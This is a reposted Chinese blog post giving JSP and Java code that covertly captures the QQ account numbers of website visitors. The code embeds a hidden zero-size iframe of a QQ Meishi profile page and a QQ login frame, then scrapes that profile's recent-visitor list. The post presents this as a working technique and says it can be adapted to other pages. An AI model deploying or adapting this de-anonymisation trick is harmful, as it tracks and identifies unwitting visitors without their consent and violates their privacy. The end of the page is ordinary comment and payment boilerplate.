JAVA获取访问者QQ

QQ美食页访客QQ号抓取

现在QQ美食这个页面应该是禁止了,但其他的页面原理一样可以参照

前段时间很火的一段代码,虽然只有%20-%30的获取率,但还是很不错。 原理:主要是根据用户访问QQ美食个人主页会出现一个列表框。若用户登录过QQ网页,包括邮件家园空间等。都会将信息记录在最近访问人页面。 根据这个。我们可以设计一下大体思路,将QQ美食网页嵌入网页。通过读取QQ美食页面的最近访问人来获得来访者QQ 下面来看代码: 访问网站body页面嵌入
<iframe name="_login_frame_quick_" id="_login_frame_quick_" frameborder="no" scrolling="no" width="100%" height="100%" src="http://ui.ptlogin2.qq.com/cgi-bin/login?link_target=blank&amp;target=self&amp;appid=3001601&amp;qlogin_jumpname=vipcomm&amp;f_url=loginerroralert&amp;qlogin_auto_login=0&amp;s_url=http%3A//imgcache.qq.com/club/portal_new/redirect.html%3Fjump_url%3Dhttp%253A//meishi.qq.com/profiles/6246569&amp;qlogin_param=jump_url%3Dhttp%253A//meishi.qq.com/profiles/6246569" style="height: 328px;"></iframe>
<%
out.print("<iframe style=\"width:0px; height:0px\" align=\"middle\" src=\"http://meishi.qq.com/profiles/6246569\" frameborder=\"0\" name=\"contactsFrame\" marginwidth=\"0\" scrolling=\"no\"></iframe>");
	out.print(r.pl());
System.out.print(r.pl());
%>

java处理:
public String pl() {
		Document doc = getHtml();
		StringBuilder sb = new StringBuilder();
		if (doc != null) {
			Elements e = doc.getElementsByClass("style5");
			Elements li = e.select("li");
			for (Element element : li) {
				Matcher m = numberPattern.matcher(element.toString());
				while (m.find()) {
					sb.append(m.group(1) + "--" + m.group(2) + "<br/>");

				}
			}
		}
		return sb.toString();

	}

转载于:https://my.oschina.net/u/265943/blog/292862

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值